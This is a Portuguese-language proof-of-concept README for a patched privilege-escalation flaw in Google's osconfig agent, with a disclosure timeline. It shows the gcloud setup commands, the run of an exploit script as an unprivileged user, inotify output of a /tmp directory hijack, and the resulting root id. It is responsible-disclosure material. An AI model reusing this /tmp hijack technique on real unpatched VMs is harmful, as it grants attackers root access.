
Prova de conceito sobre a falha de escalonamento de privilégios identificada no Osconfig do Google
O processo google_osconfig_agent é um componente das ferramentas do GoogleCloudPlatform (https://github.com/GoogleCloudPlatform/osconfig) que é executado em cada VM por padrão. O agente roda como root e é responsável por alguns serviços controláveis pelo usuário, incluindo o OS config (https://cloud.google.com/compute/docs/os-config-management), que é uma espécie de implementação do Google de configuração de estado desejado baseada em polling.
Este repositório hospeda uma demonstração sobre uma falha de escalonamento de privilégio que identifiquei na implementação (e que foi corrigida pelo Google desde então).
As tarefas a serem executadas são chamadas de recipes, e um dos tipos de recipe suportados é executar um script de shell. Ao processar tal recipe, o agente — que roda como root com todas as capacidades — salva arquivos temporariamente no diretório /tmp e depois os executa. O diretório criado pelo agente pode ser sequestrado e, assim, o script a ser executado pode ser substituído, levando efetivamente à elevação local de privilégios.
gcloud services enable osconfig.googleapis.com
gcloud compute project-info add-metadata --metadata=enable-osconfig=TRUE
# cat /tmp/poc.txt
cat: /tmp/poc.txt: No such file or directory
# pip3 install inotify_simple
# chroot --userspec=nobody:nogroup / /home/radimre83/osconfig-privesc-poc3.py
Running as 65534
calling inotify.read()
...
gcloud beta compute os-config guest-policies create test-policy-poc --file="C:\Projects\gcp-app-engine-experiments\compute-engine\osconfig-policy-poc.yaml"
Event(wd=1, mask=1073742080, cookie=0, name='recipe-runscript')
New recipe: recipe-runscript2, rename: /tmp/osconfig_software_recipes.mali1596821311/xxx-recipe-name -> /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript
New rundir recipe-runscript2, rename: /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript/xxx-rundir -> /tmp/osconfig_software_recipes.mali1596821311/recipe-runscript/run_1596821899000709826
# cat /tmp/poc.txt
uid=0(root) gid=0(root) groups=0(root),1000(google-sudoers)
SO: instância f1-micro do GCE com a imagem padrão Debian 10.
O Google passou a usar um diretório temporário aleatório em vez de um previsível.
A versão corrigida foi lançada em 2020-09-05. Você precisa atualizar seu pacote do SO.
Esta é uma vulnerabilidade de escalonamento local de privilégios, portanto, pode ser explorada por alguém que já tenha direitos de execução de código nas VMs GCE afetadas:
alguém com um shell de baixo privilégio
um atacante por meio de um serviço de rede já comprometido
O ponto-chave é assumir o controle do "diretório base" (/tmp/osconfig_software_recipes), o que é possível se nenhuma recipe tiver sido processada na sessão atual, o que significa:
nenhuma recipe foi executada até agora (por exemplo, o recurso osconfig não estava em uso, mas será em algum momento posterior)
a VM é reiniciada e todas as recipes estão presentes no banco de dados (/var/lib/google/osconfig_recipedb), mas algumas atualizações de política são executadas em algum momento posterior
Embora essa combinação especial de fato diminua a probabilidade de exploração, acho que usar um diretório de trabalho em /tmp não é seguro aqui. (O Google também não achava, e este problema está corrigido desde então.)
2020-08-07: Problema descoberto e relatado
2020-08-08: Problema triado pelo Google, prioridade alterada para P1
2020-08-10: Problema confirmado pelo Google ("🎉 Nice catch!"), prioridade alterada para P2, severidade para S2
2020-08-14: Atualização sobre o processo do VRP
2020-09-05: Problema corrigido pelo Google
Imre Rad
https://github.com/GoogleCloudPlatform/osconfig
https://issuetracker.google.com/issues/163147689
https://github.com/GoogleCloudPlatform/osconfig/commit/fa7e4ba5ee85be212ffbac66d96862c792bd270c